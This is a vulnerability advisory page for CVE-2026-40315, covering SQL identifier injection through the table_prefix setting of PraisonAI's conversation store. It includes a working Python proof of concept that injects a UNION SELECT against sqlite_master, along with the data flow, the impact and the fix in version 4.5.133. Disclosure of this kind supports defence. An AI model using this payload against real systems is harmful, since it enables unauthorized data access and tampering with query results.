CVE-2026-40315: PraisonAI: SQLiteConversationStore didn't validate table_prefix when constructing SQL queries

Published Apr 10, 2026
·
Updated

Summary

The tableprefix configuration value is directly used to construct SQL table identifiers without validation.

If an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as sqlitemaster) and tampering with query results.

---

Details This allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution.

This occurs because tableprefix is passed from configuration (fromyaml / fromdict) into SQLiteConversationStore and directly concatenated into SQL queries via f-strings:

python sessionstable = f"{tableprefix}sessions"

This value is then used in queries such as:

sql SELECT FROM {self.sessionstable}

Since SQL identifiers cannot be safely parameterized and are not validated, attacker-controlled input can modify SQL query structure.

The vulnerability originates from configuration input and propagates through the following flow:

Source: config.py (fromyaml / fromdict) accepts external configuration input

Propagation: factory.py (createstoresfromconfig) passes conversationoptions without validation

Sink: sqlite.py Constructs SQL queries using f-strings with identifiers derived from tableprefix

As a result, attacker-controlled tableprefix is interpreted as part of the SQL query, enabling injection into table identifiers and altering query semantics.

PoC

1. Exploit Code The PoC demonstrates that attacker-controlled tableprefix is not treated as a simple prefix but as part of the SQL query, allowing full manipulation of query structure. python #!/usr/bin/env python3 """ PoC: SQL identifier injection via SQLiteConversationStore.tableprefix

This demonstrates query-structure manipulation when tableprefix is attacker-controlled. """

import os import tempfile

from praisonai.persistence.conversation.sqlite import SQLiteConversationStore from praisonai.persistence.conversation.base import ConversationSession

def runpoc() -> int: fd, dbpath = tempfile.mkstemp(suffix=".db") os.close(fd)

try: print(f"[+] temp db: {dbpath}")

# 1) Create normal schema and insert one legitimate session. normal = SQLiteConversationStore( path=dbpath, tableprefix="praison", autocreatetables=True, ) normal.createsession( ConversationSession( sessionid="legit-session", userid="user1", agentid="agent1", name="Legit Session", state={}, metadata={}, createdat=123.0, updatedat=123.0, ) )

normalrows = normal.listsessions(limit=10, offset=0) print(f"[+] normal.listsessions() count: {len(normalrows)}") print(f"[+] normal first sessionid: {normalrows[0].sessionid if normalrows else None}")

# 2) Malicious prefix (UNION-based query structure manipulation) injectedprefix = ( "praisonsessions WHERE 1=0 " "UNION SELECT " "name as sessionid, " "NULL as userid, " "NULL as agentid, " "NULL as name, " "NULL as state, " "NULL as metadata, " "0 as createdat, " "0 as updatedat " "FROM sqlitemaster -- " )

injected = SQLiteConversationStore( path=dbpath, tableprefix=injectedprefix, autocreatetables=False, )

injectedrows = injected.listsessions(limit=10, offset=0) injectedids = [row.sessionid for row in injectedrows]

print(f"[+] injected.listsessions() count: {len(injectedrows)}") print(f"[+] injected sessionids (first 10): {injectedids[:10]}")

suspicious = any( x in injectedids for x in ("sqliteschema", "sqlitemaster", "praisonsessions", "praisonmessages") )

if suspicious or len(injectedrows) > len(normalrows): print("[!] PoC succeeded: listsessions query semantics altered by tableprefix") return 0

print("[!] PoC inconclusive: no clear injected rows observed") return 2

finally: try: os.remove(dbpath) print("[+] temp db removed") except OSError: pass

if name == "main": raise SystemExit(runpoc())

---

2. Expected Output

!PoC Result The output shows that legitimate data is no longer returned; instead, attacker-controlled results are injected, demonstrating that query semantics have been altered.

3. Impact

- SQL Identifier Injection - Query result manipulation - Internal schema disclosure

Exploitable when untrusted input can influence configuration.

--- Reference

- https://github.com/advisories/GHSA-59g6-v3vg-f7wc

Other sources

PraisonAI is a multi-agent teams system. Prior to 4.5.133, there is an SQL identifier injection vulnerability in SQLiteConversationStore where the tableprefix configuration value is directly concatenated into SQL queries via f-strings without any validation or sanitization. Since SQL identifiers cannot be safely parameterized, an attacker who controls the tableprefix value (e.g., through fromyaml or fromdict configuration input) can inject arbitrary SQL fragments that alter query structure. This enables unauthorized data access, such as reading internal SQLite tables like sqlitemaster, and manipulation of query results through techniques like UNION-based injection. The vulnerability propagates from configuration input in config.py, through factory.py, to the SQL query construction in sqlite.py. Exploitation requires the ability to influence configuration input, and successful exploitation leads to internal schema disclosure and full query result tampering. This issue has been fixed in version 4.5.133.

NVD

Affected Software

3 affected componentsFixes available
pypi/praisonai<4.5.133
pip/PraisonAI<4.5.133
4.5.133
Praison PraisonAI<4.5.133

Event History

Apr 10, 2026
Advisory Published
via GitHub·07:32 PM
Data Sourced
via GitHub·07:32 PM
DescriptionWeaknessAffected Software
Apr 14, 2026
CVE Published
via MITRE·02:45 AM
Data Sourced
via MITRE·02:45 AM
DescriptionWeakness
Data Sourced
via NVD·04:17 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:17 AM
RemedyAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-40315?

CVE-2026-40315 is classified as a critical vulnerability due to its potential for SQL identifier injection.

2

How do I fix CVE-2026-40315?

To fix CVE-2026-40315, upgrade to PraisonAI version 4.5.133 or later which implements proper validation of the table_prefix.

3

What damage can CVE-2026-40315 cause?

CVE-2026-40315 can allow attackers to execute arbitrary SQL queries, potentially leading to data leakage or manipulation.

4

Which versions of PraisonAI are affected by CVE-2026-40315?

CVE-2026-40315 affects all versions of PraisonAI prior to 4.5.133.

5

Is CVE-2026-40315 related to SQL injection attacks?

Yes, CVE-2026-40315 involves SQL identifier injection, a type of SQL injection vulnerability.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203